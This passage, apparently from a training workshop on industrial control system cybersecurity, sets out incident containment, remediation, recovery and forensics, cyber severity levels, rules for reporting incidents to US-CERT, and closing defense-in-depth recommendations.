effected system, and the acceptable level of risk. Thus, every organization must 
determine its proper containment actions based on its unique system requirements. 
The containment criteria need to be well documented and understood by members 
of the organization and the CSIRT.

Several methods to malware containment are available. The first method uses 
automated technologies such as virus removal programs to eliminate the problem 
and restore system functions. The second method halts services while the incident is 
being handled, and the third method blocks certain types of network connectivity by 
using a filtering process. 



Incident Remediation

Prior to full system recovery, remediation efforts should be performed to fix the 
source of the problem. This may include eradication of any malware left on the 
system, removal or replacement of vulnerable equipment, reconfiguration and 
patching of equipment or software, and possible access cancellation for certain 
personnel. 

A complete rebuild should be considered if the following system characteristics are 
present: 

• The intruder gained root or administrator-level access to the system. 
• Back-door type access has been granted that is not readily identified. The 

risk is that one backdoor may be found, but others may go undiscovered.
• System files were replaced by the malware or directly by the intruder.
• The system is unstable or does not function properly after antivirus 

software, spyware detection and removal utilities, or other programs or 
techniques eradicate the malware.



Incident Recovery

• Establish contingency plans with available equipment identified before the incident.
• Patch and maintain all backup systems to the same level as the primary systems. 

Conduct regular and planned testing at a planned specific time to verify that the 
fail-over systems will work properly when called upon.

• Establish plans to run segments of the ICS in isolation prior to an incident. This will 
provide the engineers a realistic picture of interdependencies between 
components, allowing them to make decisions on isolation, if necessary.

• Test backup equipment against realistic timeframes found in a worst-case scenario. 
For example, backup generators may need to power a system for days rather than 
hours, depending on the circumstances of the facility. 

• Establish and run acceptance tests and procedures to ensure that systems have 
been restored to the pre-incident state. These may include both automated and 
manual tests.

• Define procedures as part of the incident response plan to provide for the proper 
authority to accept the tests and declare the ICS fully operational.

The final stage of recovery is to not just restore the system to where it was, but rather 
to make it better and more secure. The system should have the same operational 
capabilities, but it also should protect against the exploit that caused the incident in 
the first place. 



Post-Incident Analysis and Forensics

Post-incident analysis and forensics consists of three areas. The first area is 
lessons learned where an attempt is made to analyze the incident, the response, 
and the impact to discover and document what could have been done 
differently to improve the response. The second area is recurrence prevention, 
or actually applying what was learned in remediating discovered weaknesses in 
the cybersecurity program, including preventing a similar incident. The third area 
is forensics, which includes capturing and protecting data as evidence for 
potential legal action. 



ENCLOSURE I: CYBER SEVERITY LEVELS

I.1. Cyber Severity Levels Introduction

a. Description. Cyber Severity Levels are a designation of the extent to which cyber 
activity may impact the operational mission or supporting operational requirements.

b. Key Components

(1) CJCSM 6510.01B, Cyber Incident Handling Program, December 2014 (appendix A,
section AA.15)
(2) Severity Levels
(3) Malicious Actions

ENCLOSURE I: CYBER SEVERITY LEVELS



I.2. Cyber Severity Levels Overview

While ICS/SCADA can be attacked in a variety of ways, there are a number of steps 
that are common, or at least present in most attacks. Each of these steps could yield 
some behavioral change in the system that could be detected by an operator. However, 
not all Detections require a Mitigation action. Mitigation is a disruptive process, which 
could degrade the operational capabilities. Given those circumstances, a more 
graduated approach to Detection/Mitigation allows IT and ICS managers to take steps to 
assess the cyber event to determine what level of response is required and react 
proportionately. Table I-1 provides the incident level severity rating approach used in 
the ACI TTP.

I.2. CYBER SEVERITY LEVELS OVERVIEW



I.3. Incident Severity Levels
The Severity Level Scale is a range between 3 and 0, from the least severity to the 
greatest severity, respectively. Table I-1 provides the ACI TTP definitions as well as the
CJCSM 6510.01B definitions.

I.3. INCIDENT SEVERITY LEVELS



Incident Categorization

Once positively identified, a cyber attack should be categorized, and the 
response prioritized based on that categorization. The categorization should be 
based on the type of incident and the potential damage to the ICS. The type of 
incident will drive the appropriate level of response. 

http://www.first.org/resources/guides/csirt_case_classification.html



Reporting Incidents to Government

https://www.dhs.gov/cyber-incident-response



US-CERT Federal Incident Notification Guide

https://www.us-cert.gov/incident-notification-guidelines

Requirement: US-CERT must be notified of all computer security incidents involving a 
Federal Government Information system with a confirmed impact to confidentiality, 
integrity or availability within one hour of being positively identified by the agency’s top-
level Computer Security Incident Response Team (CSIRT), Security Operations Center 
(SOC), or Information Technology (IT) department.



Reporting Incidents to Government

https://www.us-cert.gov/NCCIC-Cyber-Incident-Scoring-System



Reporting Incidents to Government

https://www.us-cert.gov/forms/report



Workshop Wrap Up

• Buildings are extremely complex, interconnected systems
• Control systems should employ Defense in Depth, with DMZ’s and subnets
• Define the Continuous Monitoring Strategy
• Define the role of the Operations Center (in-house or outsourced)
• Use passive monitoring, white/grey/black lists to limit communication to Level 3 

and below
• Employ an Inbound Protection and Outbound Detection strategy
• Have a Test and Development environment to test patches and updates
• Use encryption techniques, back up software to include the device firmware
• Prepare and maintain the SSP, POAM, CONOPS, IRP
• Exercise the IRP, have jump kits and recovery materials staged and ready
• Define the organizations incident response notification strategy to customers, 

law enforcement, and internal departments

Keep situational awareness of the activities of NIST, NIBS, DOE and DHS…….
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